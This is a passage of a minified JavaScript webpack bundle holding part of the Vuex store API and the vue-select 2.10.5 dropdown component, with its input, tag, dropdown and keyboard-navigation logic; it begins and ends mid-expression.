n=\"function\"===typeof e?{before:e}:e;return w(n,this._actionSubscribers,t)},te.prototype.watch=function(e,t,n){var a=this;return(0,r.wB)(function(){return e(a.state,a.getters)},t,Object.assign({},n))},te.prototype.replaceState=function(e){var t=this;this._withCommit(function(){t._state.data=e})},te.prototype.registerModule=function(e,t,n){void 0===n&&(n={}),\"string\"===typeof e&&(e=[e]),this._modules.register(e,t),C(this,this.state,e,this._modules.get(e),n.preserveState),k(this,this.state)},te.prototype.unregisterModule=function(e){var t=this;\"string\"===typeof e&&(e=[e]),this._modules.unregister(e),this._withCommit(function(){var n=M(t.state,e.slice(0,-1));delete n[e[e.length-1]]}),_(this)},te.prototype.hasModule=function(e){return\"string\"===typeof e&&(e=[e]),this._modules.isRegistered(e)},te.prototype.hotUpdate=function(e){this._modules.update(e),_(this,!0)},te.prototype._withCommit=function(e){var t=this._committing;this._committing=!0,e(),this._committing=t},Object.defineProperties(te.prototype,ne);oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;n[r]=function(){var t=this.$store.state,n=this.$store.getters;if(e){var r=ie(this.$store,\"mapState\",e);if(!r)return;t=r.context.state,n=r.context.getters}return\"function\"===typeof a?a.call(this,t,n):t[a]},n[r].vuex=!0}),n}),oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;n[r]=function(){var t=[],n=arguments.length;while(n--)t[n]=arguments[n];var r=this.$store.commit;if(e){var o=ie(this.$store,\"mapMutations\",e);if(!o)return;r=o.context.commit}return\"function\"===typeof a?a.apply(this,[r].concat(t)):r.apply(this.$store,[a].concat(t))}}),n}),oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;a=e+a,n[r]=function(){if(!e||ie(this.$store,\"mapGetters\",e))return this.$store.getters[a]},n[r].vuex=!0}),n}),oe(function(e,t){var n={};return re(t).forEach(function(t){var r=t.key,a=t.val;n[r]=function(){var t=[],n=arguments.length;while(n--)t[n]=arguments[n];var r=this.$store.dispatch;if(e){var o=ie(this.$store,\"mapActions\",e);if(!o)return;r=o.context.dispatch}return\"function\"===typeof a?a.apply(this,[r].concat(t)):r.apply(this.$store,[a].concat(t))}}),n});function re(e){return ae(e)?Array.isArray(e)?e.map(function(e){return{key:e,val:e}}):Object.keys(e).map(function(t){return{key:t,val:e[t]}}):[]}function ae(e){return Array.isArray(e)||y(e)}function oe(e){return function(t,n){return\"string\"!==typeof t?(n=t,t=\"\"):\"\u002F\"!==t.charAt(t.length-1)&&(t+=\"\u002F\"),e(t,n)}}function ie(e,t,n){var r=e._modulesNamespaceMap[n];return r}},5329:function(e,t,n){\"use strict\";n.d(t,{A:function(){return S}});n(8992),n(3215),n(4520),n(2577),n(3949),n(1454),n(8872),n(7550),n(3375),n(9225),n(3972),n(9209),n(5714),n(7561),n(6197);var r=n(1469),a=n(6436),o=n(5167),i=n(7959);function l(e){return(l=\"function\"==typeof Symbol&&\"symbol\"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e})(e)}function s(e){return function(e){if(Array.isArray(e))return d(e)}(e)||function(e){if(\"undefined\"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e[\"@@iterator\"])return Array.from(e)}(e)||u(e)||function(){throw new TypeError(\"Invalid attempt to spread non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}()}function u(e,t){if(e){if(\"string\"==typeof e)return d(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return\"Object\"===n&&e.constructor&&(n=e.constructor.name),\"Map\"===n||\"Set\"===n?Array.from(e):\"Arguments\"===n||\u002F^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$\u002F.test(n)?d(e,t):void 0}}function d(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n\u003Ct;n++)r[n]=e[n];return r}function c(e,t){var n=\"undefined\"!=typeof Symbol&&e[Symbol.iterator]||e[\"@@iterator\"];if(!n){if(Array.isArray(e)||(n=u(e))||t&&e&&\"number\"==typeof e.length){n&&(e=n);var r=0,a=function(){};return{s:a,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:a}}throw new TypeError(\"Invalid attempt to iterate non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}var o,i=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return i=e.done,e},e:function(e){l=!0,o=e},f:function(){try{i||null==n.return||n.return()}finally{if(l)throw o}}}}var f={inheritAttrs:!1,name:\"vue-input\",props:{autocomplete:{required:!1,type:String},modelValue:{required:!0,type:String},placeholder:{required:!0,type:String},disabled:{required:!0,type:Boolean},tabindex:{required:!0,type:Number},autofocus:{required:!0,type:Boolean},comboboxUid:{required:!0,type:Number}},emits:[\"update:modelValue\",\"input\",\"change\",\"focus\",\"blur\",\"escape\"],setup:function(e,t){var n=(0,o.KR)(null);return(0,a.sV)(function(){e.autofocus&&n.value.focus()}),(0,a.$u)(function(){e.autofocus&&n.value.focus()}),{handleInput:function(e){t.emit(\"input\",e),t.emit(\"update:modelValue\",e.target.value)},handleChange:function(e){t.emit(\"change\",e),t.emit(\"update:modelValue\",e.target.value)},handleFocus:function(e){t.emit(\"focus\",e)},handleBlur:function(e){t.emit(\"blur\",e)},input:n,handleEscape:function(e){n.value.blur(),t.emit(\"escape\",e)}}}},p={class:\"vue-input\"},h=[\"autocomplete\",\"modelValue\",\"placeholder\",\"disabled\",\"tabindex\",\"autofocus\",\"aria-controls\",\"aria-labelledby\"];f.render=function(e,t,n,o,i,l){return(0,a.uX)(),(0,a.CE)(\"div\",p,[(0,a.RG)(e.$slots,\"prepend\"),(0,a.Lk)(\"input\",{ref:\"input\",autocomplete:n.autocomplete,modelValue:n.modelValue,placeholder:n.placeholder,disabled:n.disabled,onInput:t[0]||(t[0]=function(){return o.handleInput&&o.handleInput.apply(o,arguments)}),onChange:t[1]||(t[1]=function(){return o.handleChange&&o.handleChange.apply(o,arguments)}),onFocus:t[2]||(t[2]=function(){return o.handleFocus&&o.handleFocus.apply(o,arguments)}),onBlur:t[3]||(t[3]=function(){return o.handleBlur&&o.handleBlur.apply(o,arguments)}),onKeyup:t[4]||(t[4]=(0,r.jR)((0,r.D$)(function(){return o.handleEscape&&o.handleEscape.apply(o,arguments)},[\"exact\"]),[\"esc\"])),tabindex:n.tabindex,autofocus:n.autofocus,\"aria-autocomplete\":\"list\",\"aria-controls\":\"vs\".concat(n.comboboxUid,\"-listbox\"),\"aria-labelledby\":\"vs\".concat(n.comboboxUid,\"-combobox\")},null,40,h),(0,a.RG)(e.$slots,\"append\")])},f.__file=\"src\u002Fcomponents\u002Finput.vue\";var v={inheritAttrs:!1,name:\"vue-tags\",props:{modelValue:{required:!0,type:Array,validator:function(e){return e.every(function(e){return void 0!==l(e.key)&&void 0!==e.label&&\"boolean\"==typeof e.selected})}},collapseTags:{type:Boolean}},emits:[\"click\"],setup:function(e,t){return{dataAttrs:(0,a.WQ)(\"dataAttrs\"),handleClick:function(e){t.emit(\"click\",e)}}},render:function(e,t,n,o,l,s){return(0,a.uX)(),(0,a.CE)(\"ul\",(0,a.v6)({class:[\"vue-tags\",{collapsed:n.collapseTags}],onMousedown:t[0]||(t[0]=(0,r.D$)(function(){},[\"prevent\"])),tabindex:\"-1\",onClick:t[1]||(t[1]=function(){return o.handleClick&&o.handleClick.apply(o,arguments)})},o.dataAttrs),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(n.modelValue,function(t){return(0,a.uX)(),(0,a.CE)(a.FK,{key:t.key},[t.group?(0,a.Q3)(\"v-if\",!0):((0,a.uX)(),(0,a.CE)(\"li\",{key:0,class:(0,i.C4)([\"vue-tag\",{selected:t.selected}])},[(0,a.RG)(e.$slots,\"default\",{option:t},function(){return[(0,a.Lk)(\"span\",null,(0,i.v_)(t.label),1)]})],2))],64)}),128))],16)},__file:\"src\u002Fcomponents\u002Ftags.vue\"},m={inheritAttrs:!1,name:\"vue-dropdown\",props:{modelValue:{required:!0,type:Array,validator:function(e){return e.every(function(e){return void 0!==l(e.key)&&void 0!==e.label&&\"boolean\"==typeof e.selected})}},comboboxUid:{required:!0,type:Number},maxHeight:{required:!0},highlightedOriginalIndex:{required:!0}},emits:[\"click-item\",\"mouseenter\"],setup:function(e,t){return{dataAttrs:(0,a.WQ)(\"dataAttrs\"),handleClickItem:function(e,n){n.disabled||t.emit(\"click-item\",e,n)},handleMouseenter:function(e,n){t.emit(\"mouseenter\",e,n)}}}},g=[\"id\",\"aria-multiselectable\",\"aria-busy\",\"aria-disabled\"],y=[\"onClick\",\"onMouseenter\",\"id\",\"aria-selected\",\"aria-disabled\"];m.render=function(e,t,n,o,l,s){return(0,a.uX)(),(0,a.CE)(\"ul\",(0,a.v6)({class:\"vue-dropdown\",style:{maxHeight:n.maxHeight+\"px\"},onMousedown:t[0]||(t[0]=(0,r.D$)(function(){},[\"prevent\"]))},o.dataAttrs,{role:\"listbox\",id:\"vs\".concat(n.comboboxUid,\"-listbox\"),\"aria-multiselectable\":o.dataAttrs[\"data-multiple\"],\"aria-busy\":o.dataAttrs[\"data-loading\"],\"aria-disabled\":o.dataAttrs[\"data-disabled\"]}),[((0,a.uX)(!0),(0,a.CE)(a.FK,null,(0,a.pI)(n.modelValue,function(t,r){return(0,a.uX)(),(0,a.CE)(a.FK,{key:t.key},[t.visible&&!1===t.hidden?((0,a.uX)(),(0,a.CE)(\"li\",{key:0,onClick:function(e){return o.handleClickItem(e,t)},class:(0,i.C4)([\"vue-dropdown-item\",{selected:t.selected,disabled:t.disabled,highlighted:t.originalIndex===n.highlightedOriginalIndex,group:t.group}]),onMouseenter:function(e){return o.handleMouseenter(e,t)},role:\"option\",id:\"vs\".concat(n.comboboxUid,\"-option-\").concat(r),\"aria-selected\":!!t.selected||!!t.disabled&&void 0,\"aria-disabled\":t.disabled},[(0,a.RG)(e.$slots,\"default\",{option:t},function(){return[(0,a.Lk)(\"span\",null,(0,i.v_)(t.label),1)]})],42,y)):(0,a.Q3)(\"v-if\",!0)],64)}),128))],16,g)},m.__file=\"src\u002Fcomponents\u002Fdropdown.vue\";var b=function(e,t,n){var r=n.valueBy;return r(e)===r(t)},$=function(e,t,n){var r=n.valueBy;return e.some(function(e){return b(e,t,{valueBy:r})})},w=function(e,t,n){var r=n.valueBy;return e.find(function(e){return r(e)===t})},_=function(e,t,n){var r=n.max,a=n.valueBy;return $(e,t,{valueBy:a})||e.length>=r?e:e.concat(t)},k=function(e,t,n){var r=n.min,a=n.valueBy;return!1===$(e,t,{valueBy:a})||e.length\u003C=r?e:e.filter(function(e){return!1===b(e,t,{valueBy:a})})},C=function(e){return(0,a.EW)(function(){return\"function\"==typeof e.value?e.value:\"string\"==typeof e.value?function(t){return e.value.split(\".\").reduce(function(e,t){return e[t]},t)}:function(e){return e}})},x=function(e,t){var n=(0,a.EW)(function(){return e.value.reduce(function(e,t){return Object.assign(e,(n={},r=t.originalIndex,a=t,r in n?Object.defineProperty(n,r,{value:a,enumerable:!0,configurable:!0,writable:!0}):n[r]=a,n));var n,r,a},{})}),r=function(e){var r=n.value[e];return void 0!==r&&!1!==o(r)&&(t.value=e,!0)},o=function(e){return!e.disabled&&!e.hidden&&e.visible},i=(0,a.EW)(function(){return e.value.some(function(e){return o(e)})});return(0,a.nT)(function(){if(!1===i.value&&(t.value=null),null!==t.value&&e.value.length\u003C=t.value){var n,a=c(e.value.reverse());try{for(a.s();!(n=a.n()).done;){var l=n.value;if(r(l.originalIndex))break}}catch(e){a.e(e)}finally{a.f()}}if(null===t.value||!1===o(e.value[t.value])){var s,u=c(e.value);try{for(u.s();!(s=u.n()).done;){var d=s.value;if(r(d.originalIndex))break}}catch(e){u.e(e)}finally{u.f()}}}),{pointerForward:function(){if(!1!==i.value&&null!==t.value)for(var n=t.value+1,a=0;n!==t.value&&a++\u003Ce.value.length&&(e.value.length\u003C=n&&(n=0),!r(n));)++n},pointerBackward:function(){if(!1!==i.value&&null!==t.value)for(var n=t.value-1,a=0;n!==t.value&&a++\u003Ce.value.length&&(n\u003C0&&(n=e.value.length-1),!r(n));)--n},pointerSet:r}},S=(0,a.pM)({name:\"vue-select\",inheritAttrs:!1,props:{modelValue:{required:!0},emptyModelValue:{},options:{required:!0,type:Array},labelBy:{type:[String,Function]},valueBy:{type:[String,Function]},disabledBy:{default:\"disabled\",type:[String,Function]},groupBy:{default:\"group\",type:[String,Function]},visibleOptions:{type:Array,default:null},multiple:{default:!1,type:Boolean},min:{default:0,type:Number},max:{default:1\u002F0,type:Number},searchable:{default:!1,type:Boolean},searchPlaceholder:{default:\"Type to search\",type:String},clearOnSelect:{default:!1,type:Boolean},clearOnClose:{default:!1,type:Boolean},taggable:{default:!1,type:Boolean},collapseTags:{default:!1,type:Boolean},autocomplete:{default:\"off\",type:String},disabled:{default:!1,type:Boolean},loading:{default:!1,type:Boolean},closeOnSelect:{default:!1,type:Boolean},hideSelected:{default:!1,type:Boolean},placeholder:{default:\"Select option\",type:String},tabindex:{default:0,type:Number},autofocus:{default:!1,type:Boolean},maxHeight:{default:300,type:Number},openDirection:{type:String,validator:function(e){return[\"top\",\"bottom\"].includes(e)}}},emits:[\"selected\",\"removed\",\"update:modelValue\",\"focus\",\"blur\",\"toggle\",\"opened\",\"closed\",\"search:input\",\"search:change\",\"search:focus\",\"search:blur\"],setup:function(e,t){var n=function(e){var t=(0,o.Kh)({}),n=C((0,o.lW)(e,\"labelBy\"));(0,a.nT)(function(){return t.labelBy=n.value});var r=C((0,o.lW)(e,\"valueBy\"));(0,a.nT)(function(){return t.valueBy=r.value});var i=C((0,o.lW)(e,\"disabledBy\"));(0,a.nT)(function(){return t.disabledBy=i.value});var l=C((0,o.lW)(e,\"groupBy\"));(0,a.nT)(function(){return t.groupBy=l.value});var s=(0,a.EW)(function(){return e.multiple?e.min:Math.min(1,e.min)});(0,a.nT)(function(){return t.min=s.value});var u=(0,a.EW)(function(){return e.multiple?e.max:1});return(0,a.nT)(function(){return t.max=u.value}),(0,a.nT)(function(){return t.options=e.options}),t}(e),r=(0,a.EW)(function(){var t;return null!==(t=e.emptyModelValue)&&void 0!==t?t:null}),i=(0,a.nI)(),l=(0,o.KR)(),u=(0,o.KR)(),d=(0,o.KR)(),f=(0,a.EW)(function(){var e;return null===(e=d.value)||void 0===e?void 0:e._.refs.input}),p=(0,o.KR)(!1);(0,a.wB)(function(){return p.value},function(){var n,r;p.value?(t.emit(\"opened\"),t.emit(\"focus\"),e.searchable?(f.value!==document.activeElement&&f.value.focus(),t.emit(\"search:focus\")):null===(n=l.value)||void 0===n||n.focus()):(e.searchable?(f.value===document.activeElement&&f.value.blur(),e.clearOnClose&&D(),t.emit(\"search:blur\")):null===(r=l.value)||void 0===r||r.blur(),t.emit(\"closed\"),t.emit(\"blur\")),t.emit(\"toggle\")});var h=function(){e.disabled||(p.value=!0)},v=function(e){var t;(null===(t=l.value)||void 0===t?void 0:t.contains(null==e?void 0:e.relatedTarget))?setTimeout(function(){var e;null===(e=l.value)||void 0===e||e.focus()}):p.value=!1};(0,a.wB)(function(){return e.disabled},function(){return v()});var m=(0,o.KR)(\"\"),g=(0,a.EW)(function(){return new RegExp(m.value.replace(\u002F[.*+?^${}()|[\\]\\\\]\u002Fg,\"\\\\$&\"),\"i\")}),y=(0,a.EW)(function(){return m.value?n.options.filter(function(e){return g.value.test(n.labelBy(e))}):void 0}),b=(0,o.KR)([]),S=(0,a.EW)(function(){return new Set(b.value.map(function(e){return n.valueBy(e)}))}),E=function(){if(e.multiple){if(!1===Array.isArray(e.modelValue))return!1;if(b.value.length!==e.modelValue.length)return!1;if(Object.keys(b.value).some(function(t){return b.value[t]!==w(n.options,e.modelValue[t],{valueBy:n.valueBy})}))return!1}else{if(0===b.value.length&&e.modelValue!==r.value)return!1;if(1===b.value.length&&e.modelValue===r.value)return!1;if(b.value[0]!==w(n.options,e.modelValue,{valueBy:n.valueBy}))return!1}return!0},T=function(){if(!E()){b.value=[];var t,a=c(e.multiple?e.modelValue:e.modelValue===r.value?[]:[e.modelValue]);try{for(a.s();!(t=a.n()).done;){var o=t.value,i=w(n.options,o,{valueBy:n.valueBy});!1!==$(n.options,i,{valueBy:n.valueBy})&&(b.value=_(b.value,i,{max:1\u002F0,valueBy:n.valueBy}))}}catch(t){a.e(t)}finally{a.f()}}};T(),(0,a.wB)(function(){return e.modelValue},function(){return T()},{deep:!0}),(0,a.wB)(function(){return n.options},function(){b.value=n.options.filter(function(e){return S.value.has(n.valueBy(e))})},{deep:!0});var R,O=function(e,r){(r=r.originalOption).value.every(function(e){var t=w(n.options,e,{valueBy:n.valueBy});return $(b.value,t,{valueBy:n.valueBy})})?r.value.forEach(function(e){var r=w(n.options,e,{valueBy:n.valueBy});b.value=k(b.value,r,{min:n.min,valueBy:n.valueBy}),t.emit(\"removed\",r)}):r.value.forEach(function(e){var r=w(n.options,e,{valueBy:n.valueBy});$(b.value,r,{valueBy:n.valueBy})||(b.value=_(b.value,r,{max:n.max,valueBy:n.valueBy}),t.emit(\"selected\",r))})},M=function(r,a){if(a=a.originalOption,$(b.value,a,{valueBy:n.valueBy}))b.value=k(b.value,a,{min:n.min,valueBy:n.valueBy}),t.emit(\"removed\",a);else{if(!e.multiple&&1===b.value.length){var o=b.value[0];b.value=k(b.value,b.value[0],{min:0,valueBy:n.valueBy}),t.emit(\"removed\",o)}b.value=_(b.value,a,{max:n.max,valueBy:n.valueBy}),t.emit(\"selected\",a)}},A=function(){if(!E()){var a=b.value.map(function(e){return n.valueBy(e)});e.multiple?t.emit(\"update:modelValue\",a):a.length?t.emit(\"update:modelValue\",a[0]):t.emit(\"update:modelValue\",r.value)}},D=function(){f.value.value=\"\",f.value.dispatchEvent(new Event(\"input\")),f.value.dispatchEvent(new Event(\"change\"))},B=(0,a.EW)(function(){var t,r;return null!==(r=null!==(t=e.visibleOptions)&&void 0!==t?t:y.value)&&void 0!==r?r:n.options}),W=(0,o.KR)(0),P=(0,a.EW)(function(){var t,r=new Set(B.value.map(function(e){return n.valueBy(e)})),a=n.options.map(function(t,a){var o,i={key:n.valueBy(t),label:n.labelBy(t),group:null!==(o=n.groupBy(t))&&void 0!==o&&o,originalIndex:a,originalOption:t};return i.selected=i.group?t.value.every(function(e){return S.value.has(e)}):S.value.has(n.valueBy(t)),i.disabled=i.group?n.disabledBy(t)||t.value.every(function(e){var t=w(n.options,e,{valueBy:n.valueBy});return n.disabledBy(t)}):n.disabledBy(t),i.visible=i.group?t.value.some(function(e){return r.has(e)}):r.has(n.valueBy(t)),i.hidden=!!e.hideSelected&&(i.group?t.value.every(function(e){return S.value.has(e)}):S.value.has(n.valueBy(t))),i}),o=c(a);try{for(o.s();!(t=o.n()).done;){var i=t.value;!1!==i.group&&i.disabled&&function(){var e=new Set(i.originalOption.value);a.filter(function(t){return e.has(n.valueBy(t.originalOption))}).forEach(function(e){return e.disabled=!0})}()}}catch(t){o.e(t)}finally{o.f()}return a}),I=x(P,W),N=I.pointerForward,L=I.pointerBackward,j=I.pointerSet,F=\"\",V=\u002F^[\\w]$\u002F,U=(0,a.EW)(function(){var e=s(n.options.keys());return e.slice(W.value).concat(e.slice(0,W.value))}),X=function(){var e,t=null===(e=l.value)||void 0===e?void 0:e.querySelector(\".highlighted\");if(t&&u.value){var n,r=getComputedStyle(t);for(n=0;t.offsetTop+parseFloat(r.height)+parseFloat(r.paddingTop)+parseFloat(r.paddingBottom)>u.value.$el.clientHeight+u.value.$el.scrollTop&&n++\u003CP.value.length;)u.value.$el.scrollTop=u.value.$el.scrollTop+parseFloat(r.height)+parseFloat(r.paddingTop)+parseFloat(r.paddingBottom);for(n=0;t.offsetTop\u003Cu.value.$el.scrollTop&&n++\u003CP.value.length;)u.value.$el.scrollTop=u.value.$el.scrollTop-parseFloat(r.height)-parseFloat(r.paddingTop)-parseFloat(r.paddingBottom)}};(0,a.wB)(function(){return[p.value,n.options,S.value]},function(e,t){!0!==(null==t?void 0:t[0])&&!1!==p.value&&0!==b.value.length&&(j(n.options.findIndex(function(e){return S.value.has(n.valueBy(e))})),(0,a.dY)(X))},{deep:!0,immediate:!0});var H=(0,a.EW)(function(){return{\"data-is-focusing\":p.value,\"data-visible-length\":P.value.filter(function(e){return e.visible&&!1===e.hidden}).length,\"data-not-selected-length\":n.options.length-P.value.filter(function(e){return e.selected}).length,\"data-selected-length\":P.value.filter(function(e){return e.selected}).length,\"data-addable\":P.value.filter(function(e){return e.selected}).length\u003Cn.max,\"data-removable\":P.value.filter(function(e){return e.selected}).length>n.min,\"data-total-length\":n.options.length,\"data-multiple\":e.multiple,\"data-loading\":e.loading,\"data-disabled\":e.disabled}});(0,a.Gt)(\"dataAttrs\",H);var G=(0,a.EW)(function(){return P.value.filter(function(e){return e.selected}).filter(function(e){return!e.group})}),Y=(0,a.EW)(function(){return e.multiple?0===G.value.length?e.placeholder:1===G.value.length?\"1 option selected\":G.value.length+\" options selected\":0===G.value.length?e.placeholder:G.value[0].label+\"\"}),z=(0,a.EW)(function(){var t=G.value.map(function(e){return e.originalOption});return e.multiple?t:t[0]||r.value}),K=(0,o.KR)();return(0,a.wB)(function(){return[e.openDirection,p.value]},function(){var t,n;K.value=null!==(n=null!==(t=e.openDirection)&&void 0!==t?t:function(){if(void 0!==l.value&&void 0!==window)return window.innerHeight-l.value.getBoundingClientRect().bottom>=e.maxHeight?\"bottom\":\"top\"}())&&void 0!==n?n:\"bottom\"},{immediate:!0}),{instance:i,isFocusing:p,wrapper:l,dropdown:u,input:d,focus:h,blur:v,toggle:function(){p.value?v():h()},searchingInputValue:m,handleInputForInput:function(e){t.emit(\"search:input\",e)},handleChangeForInput:function(e){t.emit(\"search:change\",e)},handleFocusForInput:function(e){h()},handleBlurForInput:function(e){v()},optionsWithInfo:P,addOrRemoveOption:function(t,n){e.disabled||(n.group&&e.multiple?O(t,n):M(t,n),A(),!0===e.closeOnSelect&&(p.value=!1),!0===e.clearOnSelect&&m.value&&D())},dataAttrs:H,innerPlaceholder:Y,selected:z,highlightedOriginalIndex:W,pointerForward:function(){N(),(0,a.dY)(X)},pointerBackward:function(){L(),(0,a.dY)(X)},pointerFirst:function(){var e,t=c(n.options.keys());try{for(t.s();!(e=t.n()).done;){var r=e.value;if(j(r))break}}catch(e){t.e(e)}finally{t.f()}(0,a.dY)(X)},pointerLast:function(){var e,t=c(s(n.options.keys()).reverse());try{for(t.s();!(e=t.n()).done;){var r=e.value;if(j(r))break}}catch(e){t.e(e)}finally{t.f()}(0,a.dY)(X)},typeAhead:function(t){var r,a;if(!e.searchable){var o=!1;if(V.test(t.key)?(F+=t.key.toLowerCase(),o=!0):\"Space\"===t.code&&(F+=\" \"),o){var i,l=c(U.value);try{for(l.s();!(i=l.n()).done;){var s=i.value;if(!0===(null===(a=null===(r=n.labelBy(n.options[s]))||void 0===r?void 0:r.toLowerCase())||void 0===a?void 0:a.startsWith(F))&&j(s))break}}catch(t){l.e(t)}finally{l.f()}clearTimeout(R),R=setTimeout(function(){F=\"\"},500)}}},pointerSet:j,direction:K}},components:{VInput:f,VTags:v,VDropdown:m}});S.__VERSION__=\"2.10.5\";var E=[\"tabindex\",\"id\",\"role\",\"aria-expanded\",\"aria-owns\",\"aria-activedescendant\",\"aria-busy\",\"aria-disabled\"],T={class:\"vue-select-header\"},R={key:0,class:\"vue-input\"},O=[\"placeholder\",\"autocomplete\"],M=[\"onClick\"],A=(0,a.Lk)(\"span\",{class:\"icon loading\"},[(0,a.Lk)(\"div\"),(0,a.Lk)(\"div\"),(0,a.Lk)(\"div\")],-1),D={key:0,class:\"vue-select-input-wrapper\"},B=(0,a.Lk)(\"span\",{class:\"icon loading\"},[(0,a.Lk)(\"div\"),(0,a.Lk)(\"div\"),(0,a.Lk)(\"div\")],-1);S.render=function(e,t,n,o,l,s){var u=(0,a.g2)(\"v-tags\"),d=(0,a.g2)(\"v-input\"),c=(0,a.g2)(\"v-dropdown\");return(0,a.uX)(),(0,a.CE)(\"div\",(0,a.v6)({ref:\"wrapper\",class:[\"vue-select\",[\"direction-\".concat(e.direction)]],tabindex:e.isFocusing?-1:e.tabindex,onFocus:t[9]||(t[9]=function(){return e.focus&&e.focus.apply(e,arguments)}),onBlur:t[10]||(t[10]=function(t){return!e.searchable&&e.blur(t)})},Object.assign({},e.dataAttrs,e.$attrs),{onKeypress:t[11]||(t[11]=(0,r.jR)((0,r.D$)(function(){return null!==e.highlightedOriginalIndex&&e.addOrRemoveOption(e.$event,e.optionsWithInfo[e.highlightedOriginalIndex])},[\"prevent\",\"exact\"]),[\"enter\"])),onKeydown:[t[12]||(t[12]=(0,r.jR)((0,r.D$)(function(){return e.pointerForward&&e.pointerForward.apply(e,arguments)},[\"prevent\",\"exact\"]),[\"down\"])),t[13]||(t[13]=(0,r.jR)((0,r.D$)(function(){return e.pointerBackward&&e.pointerBackward.apply(e,arguments)},[\"prevent\",\"exact\"]),[\"up\"])),t[14]||(t[14]=(0,r.jR)((0,r.D$)(function(){return e.pointerFirst&&e.pointerFirst.apply(e,arguments)},[\"prevent\",\"exact\"]),[\"home\"])),t[15]||(t[15]=(0,r.jR)((0,r.D$)(function(){return e.pointerLast&&e.pointerLast.apply(e,arguments)},[\"prevent\",\"exact\"]),[\"end\"])),t[16]||(t[16]=function(){return e.typeAhead&&e.typeAhead.apply(e,arguments)})],id:\"vs\".concat(e.instance.uid,\"-combobox\"),role:e.searchable?\"combobox\":null,\"aria-expanded\":e.isFocusing,\"aria-haspopup\":\"listbox\",\"aria-owns\":\"vs\".concat(e.instance.uid,\"-listbox\"),\"aria-activedescendant\":null===e.highlightedOriginalIndex?null:\"vs\".concat(e.instance.uid,\"-option-\").concat(e.highlightedOriginalIndex),\"aria-busy\":e.loading,\"aria-disabled\":e.disabled}),[(0,a.Lk)(\"div\",T,[e.multiple&&e.taggable&&0===e.modelValue.length||!1===e.searchable&&!1===e.taggable?((0,a.uX)(),(0,a.CE)(\"div\",R,[(0,a.RG)(e.$slots,\"label\",{selected:e.selected},function(){return[(0,a.Lk)(\"input\",{placeholder:e.innerPlaceholder,autocomplete:e.autocomplete,readonly:\"\",onClick:t[0]||(t[0]=function(){return e.focus&&e.focus.apply(e,arguments)})},null,8,O)]})])):(0,a.Q3)(\"v-if\",!0),e.multiple&&e.taggable?((0,a.uX)(),(0,a.CE)(a.FK,{key:1},[(0,a.bF)(u,{modelValue:e.optionsWithInfo,\"collapse-tags\":e.collapseTags,tabindex:\"-1\",onClick:e.focus},{default:(0,a.k6)(function(t){var n=t.option;return[(0,a.RG)(e.$slots,\"tag\",{option:n.originalOption,remove:function(){return e.addOrRemoveOption(e.$event,n)}},function(){return[(0,a.Lk)(\"span\",null,(0,i.v_)(n.label),1),(0,a.Lk)(\"img\",{src:\"data:image\u002Fsvg+xml;base64,PHN2ZyBpZD0iZGVsZXRlIiBkYXRhLW5hbWU9ImRlbGV0ZSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgNTEyIDUxMiI+PHRpdGxlPmRlbGV0ZTwvdGl0bGU+PHBhdGggZD0iTTI1NiwyNEMzODMuOSwyNCw0ODgsMTI4LjEsNDg4LDI1NlMzODMuOSw0ODgsMjU2LDQ4OCwyNC4wNiwzODMuOSwyNC4wNiwyNTYsMTI4LjEsMjQsMjU2LDI0Wk0wLDI1NkMwLDM5Ny4xNiwxMTQuODQsNTEyLDI1Niw1MTJTNTEyLDM5Ny4xNiw1MTIsMjU2LDM5Ny4xNiwwLDI1NiwwLDAsMTE0Ljg0LDAsMjU2WiIgZmlsbD0iIzViNWI1ZiIvPjxwb2x5Z29uIHBvaW50cz0iMzgyIDE3Mi43MiAzMzkuMjkgMTMwLjAxIDI1NiAyMTMuMjkgMTcyLjcyIDEzMC4wMSAxMzAuMDEgMTcyLjcyIDIxMy4yOSAyNTYgMTMwLjAxIDMzOS4yOCAxNzIuNzIgMzgyIDI1NiAyOTguNzEgMzM5LjI5IDM4MS45OSAzODIgMzM5LjI4IDI5OC43MSAyNTYgMzgyIDE3Mi43MiIgZmlsbD0iIzViNWI1ZiIvPjwvc3ZnPg==\",alt:\"delete tag\",class:\"icon delete\",onClick:(0,r.D$)(function(){return e.addOrRemoveOption(e.$event,n)},[\"prevent\",\"stop\"])},null,8,M)]})]}),_:3},8,[\"modelValue\",\"collapse-tags\",\"onClick\"]),(0,a.RG)(e.$slots,\"toggle\",{isFocusing:e.isFocusing,toggle:e.toggle},function(){return[(0,a.Lk)(\"span\",{class:(0,i.C4)([\"icon arrow-downward\",{active:e.isFocusing}]),onClick:t[1]||(t[1]=function(){return e.toggle&&e.toggle.apply(e,arguments)}),onMousedown:t[2]||(t[2]=(0,r.D$)(function(){},[\"prevent\",\"stop\"]))},null,34)]})],64)):((0,a.uX)(),(0,a.CE)(a.FK,{key:2},[e.searchable?((0,a.uX)(),(0,a.Wv)(d,{key:0,ref:\"input\",modelValue:e.searchingInputValue,\"onUpdate:modelValue\":t[3]||(t[3]=function(t){return 